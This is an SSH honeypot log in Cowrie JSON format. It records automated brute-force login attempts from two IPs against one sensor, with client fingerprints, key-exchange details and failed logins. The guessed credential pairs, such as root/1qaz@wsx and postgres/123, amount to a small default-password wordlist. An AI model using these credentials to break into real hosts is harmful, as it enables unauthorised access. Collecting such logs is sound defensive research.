{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:55.433605Z","src_ip":"83.168.110.85","session":"dabada16e184","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:55.802136Z","src_ip":"83.168.110.85","session":"dabada16e184","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:56.926813Z","src_ip":"83.168.110.85","session":"dabada16e184","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45442,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4b942e312cd","protocol":"ssh","message":"New connection: 83.168.110.85:45442 (159.203.135.109:22) [session: b4b942e312cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:05.718279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:05.723544Z","src_ip":"83.168.110.85","session":"b4b942e312cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:05.846032Z","src_ip":"83.168.110.85","session":"b4b942e312cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:06.209918Z","src_ip":"83.168.110.85","session":"b4b942e312cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:07.422954Z","src_ip":"83.168.110.85","session":"b4b942e312cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49442,"dst_ip":"159.203.135.109","dst_port":22,"session":"00685f6eb014","protocol":"ssh","message":"New connection: 83.168.110.85:49442 (159.203.135.109:22) [session: 00685f6eb014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:16.197605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:16.202761Z","src_ip":"83.168.110.85","session":"00685f6eb014","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:16.324924Z","src_ip":"83.168.110.85","session":"00685f6eb014","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:16.686774Z","src_ip":"83.168.110.85","session":"00685f6eb014","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:17.953968Z","src_ip":"83.168.110.85","session":"00685f6eb014","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47306,"dst_ip":"159.203.135.109","dst_port":22,"session":"feedfc9d2ef9","protocol":"ssh","message":"New connection: 83.168.110.85:47306 (159.203.135.109:22) [session: feedfc9d2ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:26.652479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:26.660765Z","src_ip":"83.168.110.85","session":"feedfc9d2ef9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:26.774310Z","src_ip":"83.168.110.85","session":"feedfc9d2ef9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:27.249055Z","src_ip":"83.168.110.85","session":"feedfc9d2ef9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:28.493988Z","src_ip":"83.168.110.85","session":"feedfc9d2ef9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52660,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb261edd60ff","protocol":"ssh","message":"New connection: 83.168.110.85:52660 (159.203.135.109:22) [session: fb261edd60ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:37.137247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:37.142363Z","src_ip":"83.168.110.85","session":"fb261edd60ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:37.262285Z","src_ip":"83.168.110.85","session":"fb261edd60ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:37.626757Z","src_ip":"83.168.110.85","session":"fb261edd60ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:38.932375Z","src_ip":"83.168.110.85","session":"fb261edd60ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":36956,"dst_ip":"159.203.135.109","dst_port":22,"session":"632656c6b177","protocol":"ssh","message":"New connection: 139.19.117.129:36956 (159.203.135.109:22) [session: 632656c6b177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:47.150224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:47.156074Z","src_ip":"139.19.117.129","session":"632656c6b177","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:47.244978Z","src_ip":"139.19.117.129","session":"632656c6b177","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:45:e7:63:ce:fe:93:51:65:22:a2:1a:51:76:0e:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDevQyCt06VKbdFcD680JVyiFncqdLKD9/oepOO8uwrSl2+feESHRtXEVFKzm8ew5722I8ap8uxjf3DmVvdvVgv1FSToxY3QREPRcxvSyve3Vj74E8cTeYVhfVeYxUf3e0XXofo/c5xvkpK34OxO5bqteZLTBc5bZaIL1mwgmU/tl5yK5Ut6BfupCicYLxGZOMy/qpNIaJn/64gLW3sHI4ZLwqa6RU7rD56lUroxQAJ7Ysf2aAUSFxtG35+qvt3N/NwXiq8RNPURuRj+M6PYnng0dHyD629ytH5kxCM2DKRxLDPEnMociRRN2Hhs/8MN37U9N3hgmf5fUb7osvUdBcus+r6Vxn22eQo5Bgp+8APDDDoDauTNOIU/AOkphJkMEfJYgeunAnfZbnMwOqVJF5yvkzjqF6v05jWL4hAvY+dpjsrtihOT+UV/MyFE6KcN87ZQNJPCBCiWxKZqycO0tTmqn1pGmza7UEi+VBmt9SNq+z8ULHa9L+wL9SKtdIO5TTPeNXAyyb9mDQNoNiS2rJPNqLV6BIbepwlmqq8ME9IC3TVQVOo4TwQv2Ioujra1VIxf18wUBhNG1zDjEd5q59TVJ/rP7H6bIjbDZ/YgGKPYZGAOdHhDGUmfLToxbWbCwbPKwJYJzZfUiNEVsxIBW1BvhjgvLM4g/okjkMTzEZ9Zw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:45:e7:63:ce:fe:93:51:65:22:a2:1a:51:76:0e:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:47.425268Z","src_ip":"139.19.117.129","session":"632656c6b177","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:45:e7:63:ce:fe:93:51:65:22:a2:1a:51:76:0e:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDevQyCt06VKbdFcD680JVyiFncqdLKD9/oepOO8uwrSl2+feESHRtXEVFKzm8ew5722I8ap8uxjf3DmVvdvVgv1FSToxY3QREPRcxvSyve3Vj74E8cTeYVhfVeYxUf3e0XXofo/c5xvkpK34OxO5bqteZLTBc5bZaIL1mwgmU/tl5yK5Ut6BfupCicYLxGZOMy/qpNIaJn/64gLW3sHI4ZLwqa6RU7rD56lUroxQAJ7Ysf2aAUSFxtG35+qvt3N/NwXiq8RNPURuRj+M6PYnng0dHyD629ytH5kxCM2DKRxLDPEnMociRRN2Hhs/8MN37U9N3hgmf5fUb7osvUdBcus+r6Vxn22eQo5Bgp+8APDDDoDauTNOIU/AOkphJkMEfJYgeunAnfZbnMwOqVJF5yvkzjqF6v05jWL4hAvY+dpjsrtihOT+UV/MyFE6KcN87ZQNJPCBCiWxKZqycO0tTmqn1pGmza7UEi+VBmt9SNq+z8ULHa9L+wL9SKtdIO5TTPeNXAyyb9mDQNoNiS2rJPNqLV6BIbepwlmqq8ME9IC3TVQVOo4TwQv2Ioujra1VIxf18wUBhNG1zDjEd5q59TVJ/rP7H6bIjbDZ/YgGKPYZGAOdHhDGUmfLToxbWbCwbPKwJYJzZfUiNEVsxIBW1BvhjgvLM4g/okjkMTzEZ9Zw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:47.428998Z","src_ip":"139.19.117.129","session":"632656c6b177","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:45:e7:63:ce:fe:93:51:65:22:a2:1a:51:76:0e:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDevQyCt06VKbdFcD680JVyiFncqdLKD9/oepOO8uwrSl2+feESHRtXEVFKzm8ew5722I8ap8uxjf3DmVvdvVgv1FSToxY3QREPRcxvSyve3Vj74E8cTeYVhfVeYxUf3e0XXofo/c5xvkpK34OxO5bqteZLTBc5bZaIL1mwgmU/tl5yK5Ut6BfupCicYLxGZOMy/qpNIaJn/64gLW3sHI4ZLwqa6RU7rD56lUroxQAJ7Ysf2aAUSFxtG35+qvt3N/NwXiq8RNPURuRj+M6PYnng0dHyD629ytH5kxCM2DKRxLDPEnMociRRN2Hhs/8MN37U9N3hgmf5fUb7osvUdBcus+r6Vxn22eQo5Bgp+8APDDDoDauTNOIU/AOkphJkMEfJYgeunAnfZbnMwOqVJF5yvkzjqF6v05jWL4hAvY+dpjsrtihOT+UV/MyFE6KcN87ZQNJPCBCiWxKZqycO0tTmqn1pGmza7UEi+VBmt9SNq+z8ULHa9L+wL9SKtdIO5TTPeNXAyyb9mDQNoNiS2rJPNqLV6BIbepwlmqq8ME9IC3TVQVOo4TwQv2Ioujra1VIxf18wUBhNG1zDjEd5q59TVJ/rP7H6bIjbDZ/YgGKPYZGAOdHhDGUmfLToxbWbCwbPKwJYJzZfUiNEVsxIBW1BvhjgvLM4g/okjkMTzEZ9Zw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:45:e7:63:ce:fe:93:51:65:22:a2:1a:51:76:0e:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:47.520462Z","src_ip":"139.19.117.129","session":"632656c6b177","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:45:e7:63:ce:fe:93:51:65:22:a2:1a:51:76:0e:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDevQyCt06VKbdFcD680JVyiFncqdLKD9/oepOO8uwrSl2+feESHRtXEVFKzm8ew5722I8ap8uxjf3DmVvdvVgv1FSToxY3QREPRcxvSyve3Vj74E8cTeYVhfVeYxUf3e0XXofo/c5xvkpK34OxO5bqteZLTBc5bZaIL1mwgmU/tl5yK5Ut6BfupCicYLxGZOMy/qpNIaJn/64gLW3sHI4ZLwqa6RU7rD56lUroxQAJ7Ysf2aAUSFxtG35+qvt3N/NwXiq8RNPURuRj+M6PYnng0dHyD629ytH5kxCM2DKRxLDPEnMociRRN2Hhs/8MN37U9N3hgmf5fUb7osvUdBcus+r6Vxn22eQo5Bgp+8APDDDoDauTNOIU/AOkphJkMEfJYgeunAnfZbnMwOqVJF5yvkzjqF6v05jWL4hAvY+dpjsrtihOT+UV/MyFE6KcN87ZQNJPCBCiWxKZqycO0tTmqn1pGmza7UEi+VBmt9SNq+z8ULHa9L+wL9SKtdIO5TTPeNXAyyb9mDQNoNiS2rJPNqLV6BIbepwlmqq8ME9IC3TVQVOo4TwQv2Ioujra1VIxf18wUBhNG1zDjEd5q59TVJ/rP7H6bIjbDZ/YgGKPYZGAOdHhDGUmfLToxbWbCwbPKwJYJzZfUiNEVsxIBW1BvhjgvLM4g/okjkMTzEZ9Zw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:47.524602Z","src_ip":"139.19.117.129","session":"632656c6b177","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51914,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc2eac2ae1cb","protocol":"ssh","message":"New connection: 83.168.110.85:51914 (159.203.135.109:22) [session: fc2eac2ae1cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:47.571843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:47.577876Z","src_ip":"83.168.110.85","session":"fc2eac2ae1cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","e